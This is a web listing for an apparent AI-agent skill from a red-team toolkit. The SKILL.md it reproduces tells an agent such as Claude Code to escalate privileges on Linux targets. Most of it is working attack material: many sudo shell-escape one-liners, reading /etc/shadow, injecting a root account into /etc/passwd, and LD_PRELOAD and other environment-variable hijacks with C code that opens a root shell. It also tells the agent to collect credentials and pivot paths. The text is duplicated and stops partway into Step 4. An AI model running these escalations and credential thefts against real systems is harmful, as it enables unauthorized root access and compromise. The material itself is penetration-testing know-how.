/linux-sudo-suid-capabilities
Exploit sudo misconfigurations, SUID/SGID binaries, and Linux capabilities for privilege escalation.
$ npx -y skills add blacklanternsecurity/red-run --skill linux-sudo-suid-capabilities --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/linux-sudo-suid-capabilities
Context preview
The summary Claude sees to decide when to auto-load this skill.
Exploit sudo misconfigurations, SUID/SGID binaries, and Linux capabilities for privilege escalation.
SKILL.md
linux-sudo-suid-capabilities.SKILL.mdname: linux-sudo-suid-capabilities
description: >
Exploit sudo misconfigurations, SUID/SGID binaries, and Linux capabilities
for privilege escalation.
keywords:
- exploit sudo
- abuse suid
- gtfobins
- ld_preload
- capability escalation
- baron samedit
- sudo exploit
- sudo -l shows NOPASSWD
- found suid binary
- getcap shows cap_setuid
- linux capabilities privesc
- polkit privesc
- CVE-2021-3560
- CVE-2021-4034
- pwnkit
- polkit dbus bypass
- pam_environment
- user_readenv
- polkit allow_active
- udisksctl
- udisks2 privesc
- logind active session
- loop-setup nosuid
tools:
- GTFOBins reference
- gcc
- python3
- getcap
- strace
- ltrace
- dbus-send
opsec: low
Linux Sudo, SUID, and Capabilities Exploitation
You are helping a penetration tester exploit sudo misconfigurations, SUID/SGID binaries, and Linux capabilities for privilege escalation. All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[linux-sudo-suid-capabilities] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- Shell access on Linux target
- At least one of: sudo permissions, SUID binary, binary with capabilities
- Knowledge of target OS version (for CVE matching)
Step 1: Assess Sudo Configuration
If not already provided by linux-discovery, enumerate:
sudo -l 2>/dev/null
sudo -V 2>/dev/null | head -1
cat /etc/doas.conf 2>/dev/null
Classify findings and proceed to the relevant subsection below.
Step 2: Sudo NOPASSWD Exploitation
GTFOBins Binaries
If `sudo -l` shows `(root) NOPASSWD: /path/to/binary`, check GTFOBins for the binary.
**Common sudo escapes (highest priority):**
# Editors
sudo vim -c ':!bash'
sudo vi -c ':!bash'
sudo nano # Ctrl+R → Ctrl+X → command
# Pagers
sudo less /etc/hosts # then type: !bash
sudo more /etc/hosts # then type: !bash
sudo man man # then type: !bash
# Interpreters
sudo python3 -c 'import os; os.system("/bin/bash")'
sudo perl -e 'exec "/bin/bash"'
sudo ruby -e 'exec "/bin/bash"'
sudo lua -e 'os.execute("/bin/bash")'
sudo php -r 'system("/bin/bash");'
sudo node -e 'require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'
# File utilities
sudo find /tmp -exec /bin/bash \;
sudo awk 'BEGIN {system("/bin/bash")}'
sudo sed -n '1e exec bash 1>&0' /etc/hosts
sudo ed # then type: !bash
# Archive utilities
sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
sudo zip /tmp/x.zip /tmp/x -T -TT 'bash #'
# Network tools
sudo ftp # then type: !bash
sudo nmap --interactive # (old nmap) then type: !sh
sudo mysql -e '\! bash'
sudo socat stdin exec:/bin/bash
# System tools
sudo env /bin/bash
sudo strace -o /dev/null /bin/bash
sudo ltrace -o /dev/null /bin/bash
sudo gdb -nx -ex '!bash' -ex quit
sudo taskset 1 /bin/bash
# File read/write (for credential theft if no shell escape)
sudo cat /etc/shadow
sudo tee /etc/passwd <<< 'root2:$1$salt$hash:0:0::/root:/bin/bash'
sudo cp /etc/shadow /tmp/shadow_copy
sudo dd if=/etc/shadow of=/tmp/shadow_copySudo with Password (NOPASSWD not set)
If user has sudo access but needs a password, check for:
- Known password from engagement state
- Password reuse from other services
- Sudo token reuse (see sudo_inject below)
Sudo with Specific Arguments
If sudo allows specific arguments (e.g., `sudo /usr/bin/vim /etc/config`):
- Editor escape still works: `sudo vim /etc/config` → `:!bash`
- For restricted commands, check if argument injection is possible
Step 3: Sudo Environment Variable Abuse
LD_PRELOAD Injection
**Prerequisite:** `sudo -l` shows `env_keep += LD_PRELOAD` or `SETENV:` tag.
// preload.c — compile on target or transfer
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash -p");
}# Compile and exploit
gcc -fPIC -shared -o /tmp/preload.so preload.c -nostartfiles
sudo LD_PRELOAD=/tmp/preload.so <any_allowed_binary>
LD_LIBRARY_PATH Injection
**Prerequisite:** `sudo -l` shows `env_keep += LD_LIBRARY_PATH`.
# Find shared libraries used by the sudo-allowed binary
ldd /path/to/allowed_binary
# Create malicious library with same name
gcc -fPIC -shared -o /tmp/libfoo.so preload.c -nostartfiles
# Execute with hijacked library path
sudo LD_LIBRARY_PATH=/tmp /path/to/allowed_binary
PYTHONPATH / PERL5LIB Injection
**Prerequisite:** `sudo -l` shows `SETENV:` and binary calls Python/Perl.
# Python library hijack
mkdir /tmp/pylib
cat > /tmp/pylib/os.py << 'EOF'
import subprocess
subprocess.call(["/bin/bash", "-p"])
EOF
sudo PYTHONPATH=/tmp/pylib /usr/bin/python_script.py
BASH_ENV Injection
**Prerequisite:** `env_keep += BASH_ENV` and command runs via bash.
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' > /tmp/evil.sh
sudo BASH_ENV=/tmp/evil.sh /path/to/allowed_command
/tmp/rootbash -p
Step 4: Sudo CVE Exploitation
C
Read more
name: linux-sudo-suid-capabilities description: > Exploit sudo misconfigurations, SUID/SGID binaries, and Linux capabilities for privilege escalation. keywords: - exploit sudo - abuse suid - gtfobins - ld_preload - capability escalation - baron samedit - sudo exploit - sudo -l shows NOPASSWD - found suid binary - getcap shows cap_setuid - linux capabilities privesc - polkit privesc - CVE-2021-3560 - CVE-2021-4034 - pwnkit - polkit dbus bypass - pam_environment - user_readenv - polkit allow_active - udisksctl - udisks2 privesc - logind active session - loop-setup nosuid tools: - GTFOBins reference - gcc - python3 - getcap - strace - ltrace - dbus-send opsec: low
Linux Sudo, SUID, and Capabilities Exploitation
You are helping a penetration tester exploit sudo misconfigurations, SUID/SGID binaries, and Linux capabilities for privilege escalation. All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[linux-sudo-suid-capabilities] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- Shell access on Linux target
- At least one of: sudo permissions, SUID binary, binary with capabilities
- Knowledge of target OS version (for CVE matching)
Step 1: Assess Sudo Configuration
If not already provided by linux-discovery, enumerate:
sudo -l 2>/dev/null sudo -V 2>/dev/null | head -1 cat /etc/doas.conf 2>/dev/null
Classify findings and proceed to the relevant subsection below.
Step 2: Sudo NOPASSWD Exploitation
GTFOBins Binaries
If `sudo -l` shows `(root) NOPASSWD: /path/to/binary`, check GTFOBins for the binary.
**Common sudo escapes (highest priority):**
# Editors
sudo vim -c ':!bash'
sudo vi -c ':!bash'
sudo nano # Ctrl+R → Ctrl+X → command
# Pagers
sudo less /etc/hosts # then type: !bash
sudo more /etc/hosts # then type: !bash
sudo man man # then type: !bash
# Interpreters
sudo python3 -c 'import os; os.system("/bin/bash")'
sudo perl -e 'exec "/bin/bash"'
sudo ruby -e 'exec "/bin/bash"'
sudo lua -e 'os.execute("/bin/bash")'
sudo php -r 'system("/bin/bash");'
sudo node -e 'require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'
# File utilities
sudo find /tmp -exec /bin/bash \;
sudo awk 'BEGIN {system("/bin/bash")}'
sudo sed -n '1e exec bash 1>&0' /etc/hosts
sudo ed # then type: !bash
# Archive utilities
sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
sudo zip /tmp/x.zip /tmp/x -T -TT 'bash #'
# Network tools
sudo ftp # then type: !bash
sudo nmap --interactive # (old nmap) then type: !sh
sudo mysql -e '\! bash'
sudo socat stdin exec:/bin/bash
# System tools
sudo env /bin/bash
sudo strace -o /dev/null /bin/bash
sudo ltrace -o /dev/null /bin/bash
sudo gdb -nx -ex '!bash' -ex quit
sudo taskset 1 /bin/bash
# File read/write (for credential theft if no shell escape)
sudo cat /etc/shadow
sudo tee /etc/passwd <<< 'root2:$1$salt$hash:0:0::/root:/bin/bash'
sudo cp /etc/shadow /tmp/shadow_copy
sudo dd if=/etc/shadow of=/tmp/shadow_copySudo with Password (NOPASSWD not set)
If user has sudo access but needs a password, check for:
- Known password from engagement state
- Password reuse from other services
- Sudo token reuse (see sudo_inject below)
Sudo with Specific Arguments
If sudo allows specific arguments (e.g., `sudo /usr/bin/vim /etc/config`):
- Editor escape still works: `sudo vim /etc/config` → `:!bash`
- For restricted commands, check if argument injection is possible
Step 3: Sudo Environment Variable Abuse
LD_PRELOAD Injection
**Prerequisite:** `sudo -l` shows `env_keep += LD_PRELOAD` or `SETENV:` tag.
// preload.c — compile on target or transfer
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash -p");
}# Compile and exploit gcc -fPIC -shared -o /tmp/preload.so preload.c -nostartfiles sudo LD_PRELOAD=/tmp/preload.so <any_allowed_binary>
LD_LIBRARY_PATH Injection
**Prerequisite:** `sudo -l` shows `env_keep += LD_LIBRARY_PATH`.
# Find shared libraries used by the sudo-allowed binary ldd /path/to/allowed_binary # Create malicious library with same name gcc -fPIC -shared -o /tmp/libfoo.so preload.c -nostartfiles # Execute with hijacked library path sudo LD_LIBRARY_PATH=/tmp /path/to/allowed_binary
PYTHONPATH / PERL5LIB Injection
**Prerequisite:** `sudo -l` shows `SETENV:` and binary calls Python/Perl.
# Python library hijack mkdir /tmp/pylib cat > /tmp/pylib/os.py << 'EOF' import subprocess subprocess.call(["/bin/bash", "-p"]) EOF sudo PYTHONPATH=/tmp/pylib /usr/bin/python_script.py
BASH_ENV Injection
**Prerequisite:** `env_keep += BASH_ENV` and command runs via bash.
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' > /tmp/evil.sh sudo BASH_ENV=/tmp/evil.sh /path/to/allowed_command /tmp/rootbash -p
Step 4: Sudo CVE Exploitation
C
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Other skills on red-run.
- /acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted Kerberoasting via SPN manipulation, shadow credentials (msDS-KeyCredentialLink → PKINIT), and AdminSDHolder persistence.
Open skill - /ad-discovery
Enumerates Active Directory domains and maps attack surface for penetration testing.
Open skill - /ad-persistence
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS master password), custom SSP injection (credential logging via mimilib/memssp), security descriptor backdoors
Open skill - /adcs-access-and-relay
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object ACLs), ESC7 (ManageCA/ManageCertificates abuse), ESC8 (NTLM relay to HTTP enrollment), ESC11 (NTLM relay to ICPR RPC).
Open skill - /adcs-persistence
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15 (YubiHSM, issuance policy, altSecIdentities, application policies), Golden Certificate (forge with stolen CA key), certificate
Open skill - /adcs-template-abuse
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee supplies subject), ESC2 (any-purpose/no EKU), ESC3 (enrollment agent), ESC6 (EDITF_ATTRIBUTESUBJECTALTNAME2 CA flag).
Open skill

